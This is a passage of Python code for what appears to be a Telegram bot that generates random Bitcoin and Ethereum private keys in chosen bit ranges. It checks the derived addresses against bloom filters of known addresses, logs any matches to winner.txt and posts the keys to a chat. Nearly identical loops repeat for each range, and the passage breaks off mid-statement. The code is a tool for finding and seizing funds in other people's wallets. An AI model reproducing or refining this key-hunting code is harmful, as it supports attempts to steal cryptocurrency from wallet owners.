Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 90-100 Bits Random Range")) num += 1 if message.text=="100-110 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 100-110 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------100-110 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**100 stopscan=2**110 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 100-110 Bits Random Range")) num += 1 if message.text=="110-120 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 110-120 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------110-120 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**110 stopscan=2**120 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 110-120 Bits Random Range")) num += 1 if message.text=="120-130 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 120-130 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------120-130 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**120 stopscan=2**130 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 120-130 Bits Random Range")) num += 1 if message.text=="130-140 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 130-140 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------130-140 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**130 stopscan=2**140 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 130-140 Bits Random Range")) num += 1 if message.text=="140-150 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 140-150 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------140-150 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**140 stopscan=2**150 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 140-150 Bits Random Range")) num += 1 if message.text=="150-160 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 150-160 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------150-160 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**150 stopscan=2**160 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 150-160 Bits Random Range")) num += 1 if message.text=="160-170 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 160-170 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------160-170 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**160 stopscan=2**170 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + 